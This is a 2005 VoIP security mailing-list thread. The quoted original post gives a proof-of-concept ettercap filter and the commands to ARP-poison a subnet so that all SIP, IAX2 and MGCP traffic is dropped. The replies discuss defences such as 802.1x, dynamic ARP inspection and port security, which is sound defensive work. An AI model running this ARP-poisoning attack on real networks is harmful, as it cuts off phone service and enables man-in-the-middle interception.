[VOIPSEC] VoIP Blocking Filter w/Ettercap

[Raj Sajja]

As suggested by Cisco ... with these Layer 2 security features
implemented it safeguards/mitigate from basic DOS or man in the middle
attacks. We have tested in a controlled environment and was not able to
break it. Please let me know if someone found any issues around these
... And also these measures are recommended either you have Voice or not
to protect the Network at Layer 2 (Voice is one of the applications
riding on the converged network).

DHCP Snooping
Dynamic ARP Inspection
Port Security (limited to 3 MACs)
Rate Limiting

And also we used ACLs to control access in/out of networks.

Regards
Raj Sajja

-----Original Message-----
From: Voipsec-bounces at voipsa.org [mailto:Voipsec-bounces at voipsa.org] On
Behalf Of Credland, Jim
Sent: Wednesday, July 13, 2005 7:32 AM
To: Natas; Voipsec at voipsa.org
Subject: RE: [VOIPSEC] VoIP Blocking Filter w/Ettercap

Protecting a network to which people have physical access is tricky.
Ettercap is a scary reminder of how easy it is to intercept/reroute and
generally ethernet segments.  If you've got a test network to try a man
in the middle attack on using ettercap it's well worth it for the
amusement value alone. 

In an enterprise environment requiring a high standard of VoIP security
I'd definitely be considering something like 802.1x port authentication
to reduce the risk from someone connecting a PC to the VoIP vLAN, and if
it was readily available encryption of the voice and switching traffic. 

Much of the documentation on VoIP Security seems to skip over these
kinds of problems, the NIST documents solution is use encryption,
authentication and public keys.  This does little about
denial-of-service and has the lack of
support for these kinds of features in many implementations.   The Cisco
VoIP security document used to suggests you don't let anyone bad near
your switch - but I've noticed a new document on their site listing a
whole load of layer 2 security features - see
http://www.cisco.com/en/US/netsol/ns340/ns394/ns165/networking_solutions
_whi
te_paper0900aecd80240249.shtml - in the layer 2 defenses section.  I'd
be interested - if you test switch has these features - in whether or
not you can cause much distruption with these features enabled. 

I think I saw a tool for listening to intercepted RTP streams but I
forget what it's called? 

Luckly once you get out of your LAN environment to a central server or
carrier environment where there are strong physical access controls then
this kind of security becomes less critical and other problems raise
their heads instead. 

jim.credland at thus.net
Security Consultant
 

> -----Original Message-----
> From: Natas [mailto:natas05 at gmail.com]
> Sent: 13 July 2005 02:09
> To: Voipsec at voipsa.org
> Subject: [VOIPSEC] VoIP Blocking Filter w/Ettercap
> 
> After playing around with ettercap and its filter program, 
> etterfilter, I realized how easy it would be to ARP poison a network 
> and block all VoIP packets from passing through.
> While packet manipulation obviously isn't new, and the root of the 
> problem comes from the ease of ARP poisoning, I was still kind of 
> shocked at how easy an attack like this could be pulled off in a real 
> world scenario.
> A simple ettercap filter can be used to block all SIP, IAX2 and MGCP 
> traffic, stopping any possible communication across a network segment,

> but letting other traffic properly pass through. Below is a basic 
> filter I wrote up for this list.
> 
> 
> # blockvoip.filter
> # Proof of concept VoIP blocking filter # By Natas # Instructions:
> # Run "etterfilter blockvoip.filter -o blockvoip.ef"
> # Then "ettercap -T -q -F blockvoip.ef -M ARP /10.1.1.1-254/ //"
> 
> if (ip.proto == UDP && udp.src == 4569) {
>     msg("Killed Attempted IAX2 Connection.\n");
>     drop();
>     kill();
> }
> 
> if (ip.proto == UDP && udp.src == 5060) {
>     msg("Killed Attempted SIP Connection.\n");
>     drop();
>     kill();
> }
> 
> if (ip.proto == UDP && udp.src == 2427) {
>     msg("Killed Attempted MGCP Connection.\n");
>     drop();
>     kill();
> }
> 
> # Don't know to much about MGCP Call Agent traffic but # I put it in 
> here for the hell of it.
> if (ip.proto == UDP && udp.src == 2727) {
>     msg("Killed Attempted MGCP Call Agent Connection.\n");
>     drop();
>     kill();
> }
> 
> # End.
> 
> Obviously this is just a simple example and could easily be expanded 
> to ensure that no VoIP traffic whatsoever passes through.
> 
> I'm not sure how everyone here will feel about this little example but

> I wanted to put it out there for everyone to see.
> I have some other VoIP packet manipulation ideas that I am playing 
> around with.
> 
> I enjoy the VoIPSA mailing list very much and like reading every ones 
> posts and concerns. If you would like to talk off the list, feel free 
> to email me or contact me at 206-338-3337.
> 
> Natas
> 
> _______________________________________________
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> Voipsec at voipsa.org
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> 

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